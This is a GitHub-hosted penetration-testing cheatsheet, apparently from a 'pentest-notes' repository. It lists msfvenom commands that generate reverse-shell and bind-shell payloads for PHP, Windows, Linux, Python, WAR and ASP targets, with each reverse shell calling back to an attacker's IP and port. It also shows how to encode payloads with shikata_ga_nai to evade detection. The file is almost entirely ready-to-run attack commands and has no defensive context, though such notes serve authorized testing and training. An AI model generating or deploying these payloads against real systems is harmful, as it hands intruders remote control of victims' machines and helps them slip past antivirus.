forked from wirasecure/pentest-notes
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathreverse_shell_with_msfvenom.txt
executable file
·139 lines (76 loc) · 2.15 KB
/
reverse_shell_with_msfvenom.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
## Reverse Shell with Msfvenom - Cheatsheet
### List payloads
{% highlight Shell %}
```Shell
msfvenom -l
```
{% endhighlight %}
Or
{% highlight Shell %}
```Shell
msfvenom --list payloads
```
{% endhighlight %}
### Generate a PHP payload
{% highlight Shell %}
```Shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
```
{% endhighlight %}
### Generate a Windows payload
##### Meterpreter - Reverse shell (x64):
{% highlight Shell %}
```Shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > reverse.exe
```
{% endhighlight %}
##### Meterpreter - Reverse shell:
{% highlight Shell %}
```Shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Attacker_IP> LPORT=<Attacker_PORT> -f exe > reverse.exe
```
{% endhighlight %}
##### Meterpreter - Bind shell:
{% highlight Shell %}
```Shell
msfvenom -p windows/meterpreter/bind_tcp RHOST=<Target_IP> LPORT=<Target_Port> -f exe > bind.exe
```
{% endhighlight %}
##### CMD - Reverse shell:
{% highlight Shell %}
```Shell
msfvenom -p windows/shell/reverse_tcp LHOST=<Attacker_IP> LPORT=<Attacker_port> -f exe > prompt.exe
```
{% endhighlight %}
### Generate a Linux payload
##### Meterpreter - Reverse shell:
{% highlight Shell %}
```Shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Attacker_IP> LPORT=<Attacker_port> -f elf > reverse_bin
```
{% endhighlight %}
### Generate a Python payload
{% highlight Shell %}
```Shell
msfvenom -p cmd/unix/reverse_python LHOST=<Attacker_IP> LPORT=<Attacker_port> -f raw > reverse.py
```
{% endhighlight %}
### Generate a WAR payload
{% highlight Shell %}
```Shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Attacker_IP> LPORT=<Attacker_port> -f war > payload.war
```
{% endhighlight %}
### Generate an ASP payload
{% highlight Shell %}
```Shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Attacker_IP> LPORT=<Attacker_PORT> -f asp > reverse.asp
```
{% endhighlight %}
### Generate encoded payloads
##### Shikata\_ga\_nai
{% highlight Shell %}
```Shell
msfvenom -p <PAYLOAD> -e shikata_ga_nai -i 5 -f raw > reverse
```
{% endhighlight %}